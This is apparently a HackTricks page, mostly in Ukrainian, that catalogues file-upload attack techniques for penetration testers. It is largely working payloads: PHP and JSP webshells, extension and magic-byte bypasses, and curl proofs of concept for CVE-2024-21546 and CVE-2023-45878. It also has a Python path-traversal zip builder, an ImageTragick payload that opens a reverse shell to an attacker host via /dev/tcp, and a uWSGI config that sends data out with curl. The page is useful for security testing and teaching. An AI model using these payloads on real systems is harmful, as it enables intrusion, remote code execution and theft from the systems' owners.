Завантаження файлів
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Загальна методологія завантаження файлів
Інші корисні розширення:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Обхід перевірок розширень файлів
- Якщо вони застосовуються, перевірте попередні розширення. Також протестуйте їх, використовуючи деякі великі літери: pHp, .pHP5, .PhAr …
- Перевірте додавання дійсного розширення перед виконуваним розширенням (також використовуйте попередні розширення):
- file.png.php
- file.png.Php5
- Спробуйте додати спеціальні символи в кінці. Ви можете використати Burp для bruteforce всіх ascii і Unicode символів. (Зверніть увагу, що також можна спробувати використати раніше згадані розширення)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Спробуйте обійти захист, обдуривши парсер розширень на серверній стороні за допомогою технік, таких як подвоєння розширення або додавання сміттєвих даних (null байтів) між розширеннями. Також ви можете використати попередні розширення для підготовки кращого payload.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Додайте ще один шар розширень до попередньої перевірки:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Спробуйте помістити виконуване розширення перед дійсним розширенням і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, коли будь-який файл з розширенням .php, але не обов’язково що закінчується на .php, буде виконувати код):
- ex: file.php.png
- Використання NTFS alternate data stream (ADS) у Windows. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки “:”. В результаті буде створено порожній файл із забороненим розширенням на сервері (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше іншими техніками, наприклад, використовуючи його коротку назву файлу. Шаблон “::$data” також може бути використаний для створення непорожніх файлів. Тому додавання крапки після цього шаблону може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”).
- Спробуйте перевантажити обмеження імені файлу. Дійсне розширення відрізається. І залишається шкідливий PHP. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. кінцева крапка) – CVE-2024-21546
Деякі обробники завантаження обрізають або нормалізують кінцеві крапки в збереженій назві файлу. В UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) версій до 2.9.1 ви можете обійти перевірку розширення, зробивши:
- Використовуючи дійсний image MIME і magic header (наприклад, PNG’s
\x89PNG\r\n\x1a\n). - Назвавши завантажений файл з PHP-розширенням, за яким слідує крапка, наприклад,
shell.php.. - Сервер обрізає кінцеву крапку і зберігає
shell.php, який виконається, якщо він розміщений у каталозі, що обслуговується веб-сервером (за замовчуванням public storage, наприклад/storage/files/).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Потім зверніться до збереженого шляху (типово для Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Обхід Content-Type, Magic Number, Compression & Resizing
- Обійти перевірки Content-Type, встановивши значення заголовка Content-Type на: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Обійти перевірку magic number, додавши на початок файлу байти справжнього зображення (збити з пантелику команду file). Або вбудувати shell у metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\або ви також можете вбудувати payload безпосередньо в зображення:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Якщо до вашого зображення додається стиснення, наприклад за допомогою стандартних PHP-бібліотек, таких як PHP-GD, попередні техніки не будуть корисні. Однак, ви можете використати PLTE chunk technique defined here щоб вставити текст, який переживе стиснення.
- Github with the code
- Веб-сторінка також може змінювати розмір зображення, використовуючи, наприклад, PHP-GD функції
imagecopyresizedабоimagecopyresampled. Проте ви можете використати IDAT chunk technique defined here щоб вставити текст, який переживе стиснення. - Github with the code
- Ще одна техніка для створення payload, який переживає зміну розміру зображення, використовуючи PHP-GD функцію
thumbnailImage. Проте ви можете використати tEXt chunk technique defined here щоб вставити текст, який переживе стиснення. - Github with the code
Other Tricks to check
- Знайти вразливість, яка дозволяє rename вже завантажений файл (щоб змінити розширення).
- Знайти вразливість Local File Inclusion для виконання backdoor.
- Possible Information disclosure:
- Завантажте той самий файл кілька разів (і одночасно) з тим самим ім’ям
- Завантажте файл з іменем файлу або папки, яка вже існує
- Завантаження файлу з “.” , “..”, or “…” як ім’я. Наприклад, в Apache в Windows, якщо застосунок зберігає завантажені файли в директорії “/www/uploads/”, ім’я файлу “.” створить файл called uploads” в директорії “/www/”.
- Завантажте файл, який може бути важко видалити, наприклад “…:.jpg” в NTFS. (Windows)
- Завантажте файл у Windows з недопустимими символами, такими як
|<>*?”в його імені. (Windows) - Завантажте файл у Windows, використовуючи reserved (forbidden) names, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Спробуйте також upload an executable (.exe) або .html (менш підозріло), який виконає код, коли жертва випадково його відкриє.
Special extension tricks
Якщо ви намагаєтеся завантажити файли на PHP server, take a look at the .htaccess trick to execute code.
Якщо ви намагаєтеся завантажити файли на ASP server, take a look at the .config trick to execute code.
Файли .phar подібні до .jar для java, але для php, і можуть бути used like a php file (виконання їх через php або включення всередину скрипту…).
Розширення .inc іноді використовується для php файлів, які лише імпортують файли, тому, в якийсь момент, хтось міг дозволити виконання цього розширення.
Jetty RCE
Якщо ви можете завантажити XML файл у Jetty server, ви можете отримати RCE because **new .xml and .war are automatically processed. Тож, як зазначено на зображенні нижче, завантажте XML файл у $JETTY_BASE/webapps/ і очікуйте shell!
.png)
uWSGI RCE
Для детального розгляду цієї вразливості перегляньте оригінальне дослідження: uWSGI RCE Exploitation.
Remote Command Execution (RCE) вразливості можуть бути експлуатовані в uWSGI серверах, якщо є можливість модифікувати .ini конфігураційний файл. У конфігураційних файлах uWSGI використовується специфічний синтаксис для включення “magic” змінних, заповнювачів та операторів. Зокрема, оператор ‘@’, використовуваний як @(filename), призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема “exec” є особливо потужною, дозволяючи зчитувати дані зі стандартного виводу процесу. Ця функція може бути використана зловмисно для таких цілей, як Remote Command Execution або Arbitrary File Write/Read під час обробки .ini конфігураційного файлу.
Розгляньте наступний приклад шкідливого uwsgi.ini файлу, що демонструє різні схеми:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та розпарсена, процес uWSGI має бути перезапущений (можливо після крашу або через Denial of Service) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через задані інтервали після виявлення змін.
Важливо розуміти лояльну природу парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити у бінарний файл (наприклад, зображення або PDF), що ще більше розширює можливості для експлуатації.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Аутентифікація не вимагається для кінцевої точки в Gibbon LMS, яка дозволяє довільно записувати файли всередині веб-кору, що призводить до pre-auth RCE шляхом скидання PHP-файлу. Уразливі версії: до і включно 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Обов’язкові параметри:
img: data-URI-like string:[mime];[name],[base64](сервер ігнорує type/name, декодує base64 хвіст)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: будь-яке непорожнє значення приймається (e.g.,0000000001)
Мінімальний PoC для запису та повторного читання файлу:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Розмістити мінімальний webshell і виконати команди:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Примітки:
- Обробник виконує
base64_decode($_POST["img"])після розбиття за;та,, а потім записує байти в$absolutePath . '/' . $_POST['path']без перевірки розширення/типу. - Отриманий код виконується від імені користувача веб‑сервісу (наприклад, XAMPP Apache на Windows).
Джерела щодо цієї вразливості включають usd HeroLab advisory та запис NVD. Див. розділ References нижче.
wget File Upload/SSRF Trick
Іноді ви можете виявити, що сервер використовує wget для завантаження файлів і ви можете вказати URL. У таких випадках код може перевіряти, що розширення завантажуваних файлів входить до білого списку, щоб переконатися, що будуть завантажені лише дозволені файли. Однак цю перевірку можна обійти.
The максимальна довжина імені файлу в linux — 255, однак wget обрізає назви файлів до 236 символів. Ви можете download a file called “A”*232+“.php”+“.gif”, це ім’я файлу обійде перевірку (як у цьому прикладі “.gif” є допустимим розширенням), але wget перейменує файл на “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won’t work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
Обхід каталогу завантаження через NTFS junctions (Windows)
(Для цієї атаки вам знадобиться локальний доступ до Windows-машини) Якщо завантаження зберігаються в підпапках для кожного користувача на Windows (наприклад, C:\Windows\Tasks\Uploads<id>) і ви контролюєте створення/видалення цієї підпапки, ви можете замінити її на directory junction, що вказує на чутливе місце (наприклад, webroot). Наступні завантаження будуть записані в цільовий шлях, що дасть змогу виконувати код, якщо ціль інтерпретує server‑side code.
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Примітки
- mklink /J створює NTFS directory junction (reparse point). Обліковий запис веб‑сервера має слідувати junction і мати дозвіл на запис у destination.
- Це перенаправляє довільні записи файлів; якщо destination виконує скрипти (PHP/ASP), це перетворюється на RCE.
- Захист: не дозволяйте writable upload roots бути attacker‑controllable під C:\Windows\Tasks або подібно; block junction creation; validate extensions server‑side; зберігайте uploads на окремому volume або з deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Деякі upload/ingest handlers записують raw request body у filesystem path, який будується з user-controlled query parameters. Якщо handler також підтримує Content-Encoding: gzip і не проводить canonicalize/validate destination path, ви можете поєднати directory traversal з gzipped payload, щоб записати довільні байти в web-served directory і отримати RCE (наприклад, скинути JSP у Tomcat’s webapps).
Generic exploitation flow:
- Підготуйте ваш server-side payload (наприклад, мінімальний JSP webshell) і gzip-compress байти.
- Надішліть POST, де path parameter (наприклад, token) містить traversal, що виходить за межі призначеної папки, а file вказує ім’я файлу для збереження. Встановіть Content-Type: application/octet-stream і Content-Encoding: gzip; body — це стиснутий payload.
- Відкрийте записаний файл у браузері, щоб спровокувати виконання.
Ілюстративний запит:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Потім спровокуйте:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Примітки
- Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
- Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
- This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.
Заходи пом’якшення
- Визначайте цілі завантаження на стороні сервера; ніколи не довіряйте фрагментам шляху від клієнтів.
- Канонізуйте й забезпечте, щоб розв’язаний шлях залишався в межах allow-listed базової директорії.
- Зберігайте uploads на невиконуваному томі і забороняйте виконання скриптів з записуваних шляхів.
Axis2 SOAP uploadFile traversal до Tomcat webroot (JSP drop)
Сервіси завантаження на базі Axis2 іноді відкривають SOAP action uploadFile, яка приймає три поля під контролем атакуючого: jobDirectory (destination directory), archiveName (filename), та dataHandler (base64 file content). Якщо jobDirectory не канонізується, ви отримуєте arbitrary file write через path traversal і можете розмістити JSP у Tomcat’s webapps.
Мінімальний outline запиту (default creds часто працюють: admin / trubiquity):
POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
- Біндинги часто доступні лише локально; поєднайте з full-read SSRF (absolute-URL request line, Host header ignored), щоб дістатися до
127.0.0.1, якщо порт Axis2 не відкритий. - Після запису зайдіть на
/trufusionPortal/jsp/shell.jsp?cmd=idдля виконання.
Tools
- Upload Bypass — потужний інструмент, створений щоб допомагати Pentesters та Bug Hunters у тестуванні file upload mechanisms. Він використовує різні bug bounty techniques для спрощення процесу ідентифікації та експлуатації вразливостей, забезпечуючи ретельну оцінку web applications.
Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі upload handlers, які використовують snprintf() або подібні для побудови масивів multi-file з single-file upload, можна обдурити, згенерувавши сфальсифіковану структуру _FILES. Через непослідовності та усічення в поведінці snprintf() ретельно сформований single upload може виглядати як кілька індексованих файлів на стороні сервера, плутаючи логіку, що припускає строго визначену форму (наприклад, трактує це як multi-file upload і використовує небезпечні гілки). Хоча сьогодні це рідкісне явище, цей патерн “index corruption” іноді з’являється в CTF і в старому коді.
From File upload to other vulnerabilities
- Set filename to
../../../tmp/lol.pngand try to achieve a path traversal - Set filename to
sleep(10)-- -.jpgand you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>to achieve a XSS - Set filename to
; sleep 10;to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- Перевірте, чи існує будь-яке size limit при завантаженні файлів
Ось топ-10 речей, яких можна досягти через завантаження файлів (з тут):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Див. https://en.wikipedia.org/wiki/List_of_file_signatures для інших filetypes.
Zip/Tar File Automatically decompressed Upload
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Розпакування в різні папки
Неочікуване створення файлів у директоріях під час розпакування — серйозна проблема. Незважаючи на початкові припущення, що така конфігурація може захищати від OS-level виконання команд через шкідливе завантаження файлів, ієрархічна підтримка стиснення та можливості directory traversal формату архівів ZIP можуть бути експлуатовані. Це дозволяє зловмисникам обходити обмеження та виходити за межі захищених директорій завантаження, маніпулюючи функціоналом розпакування цільового додатка.
Автоматизований exploit для створення таких файлів доступний на evilarc on GitHub. Утиліту можна використовувати, як показано:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Також доступний варіант — symlink trick with evilarc.
Якщо метою є, наприклад, доступ до файлу /flag.txt, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад коду Python, який використовується для створення зловмисного zip-файлу:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Зловживання стисненням для file spraying
Для отримання додаткових деталей дивіться оригінальний пост за посиланням: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Створення PHP Shell: PHP-код записаний для виконання команд, передаваних через змінну
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying та створення стиснутого файлу: Створюється кілька файлів і збирається zip-архів, що містить ці файли.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Зміна за допомогою Hex Editor або vi: Імена файлів всередині zip змінюються за допомогою vi або hex-редактора, замінюючи “xxA” на “../” для обходу директорій.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Коли бекенд валідовує записи ZIP за допомогою PHP’s ZipArchive, але при розпаковці записує у файлову систему використовуючи сирі імена, можна провезти заборонене розширення, вставивши NUL (0x00) у поля імен файлів. ZipArchive трактує ім’я запису як C‑рядок і обрізає на першому NUL; файлова система записує повне ім’я, відкидаючи все після NUL.
High-level flow:
- Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
- Name it like
shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first.after.phpwith0x00, resulting inshell.php\x00.pdf. - Validators that rely on ZipArchive will “see”
shell.php .pdfand allow it; the extractor writesshell.phpto disk, leading to RCE if the upload folder is executable.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notes
- Змініть ОБІДВА входження імені файлу (локально та у центральному каталозі). Деякі інструменти додають додатковий data descriptor — відкоригуйте всі name-поля, якщо вони присутні.
- Файл з payload має й надалі проходити server‑side magic/MIME sniffing. Вбудування PHP у PDF-потік зберігає заголовок дійсним.
- Працює у випадках, коли enum/validation path та extraction/write path розходяться в обробці рядків.
Stacked/concatenated ZIPs (parser disagreement)
Конкатенація двох валідних ZIP-файлів створює blob, у якому різні парсери фокусуються на різних EOCD-записах. Багато інструментів знаходять останній End Of Central Directory (EOCD), тоді як деякі бібліотеки (наприклад, ZipArchive у певних робочих процесах) можуть розбирати перший архів, який вони знайдуть. Якщо валідація перераховує перший архів, а екстракція виконується інструментом, що враховує останній EOCD, добросовісний архів може пройти перевірки, тоді як шкідливий буде витягнутий.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Abuse pattern
- Створіть нешкідливий архів (дозволений тип, напр., PDF) та другий архів, що містить заблоковане розширення (наприклад,
shell.php). - Об’єднайте їх:
cat benign.zip evil.zip > combined.zip. - Якщо сервер валідуює одним парсером (бачить benign.zip), але розпаковує іншим (обробляє evil.zip), заблокований файл потрапляє в шлях розпакування.
ImageTragic
Завантажте цей вміст з розширенням зображення для експлуатації вразливості (ImageMagick , 7.0.1-1) (з exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Embedding PHP Shell on PNG
Вбудовування PHP shell в IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції imagecopyresized і imagecopyresampled з PHP-GD особливо релевантні в цьому контексті, оскільки їх часто використовують для зміни розміру й ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим цими операціями є суттєвою перевагою для певних сценаріїв.
Детальний опис цієї техніки, включно з методологією та можливими застосуваннями, наведено в наступній статті: “Encoding Web Shells in PNG IDAT chunks”. Цей ресурс дає всебічне розуміння процесу та його наслідків.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglot files служать унікальним інструментом у кібербезпеці, виступаючи хамелеонами, які можуть коректно існувати в кількох форматах файлів одночасно. Цікавим прикладом є GIFAR, гібрид, що працює одночасно як GIF і RAR-архів. Такі файли не обмежуються цією парою; можливі й комбінації на кшталт GIF і JS або PPT і JS.
Основна користь polyglot files полягає в їхній здатності обходити засоби безпеки, які фільтрують файли за типом. Звично багато додатків дозволяють завантаження лише певних типів файлів — наприклад JPEG, GIF або DOC — щоб зменшити ризик потенційно шкідливих форматів (наприклад, JS, PHP або Phar файлів). Проте polyglot, відповідаючи структурним вимогам кількох форматів одночасно, може непомітно обійти ці обмеження.
Незважаючи на гнучкість, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно являти собою PHAR file (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо перевіряє дозволені розширення, сама структурна подвійність polyglot може виявитися недостатньою для гарантії завантаження.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):
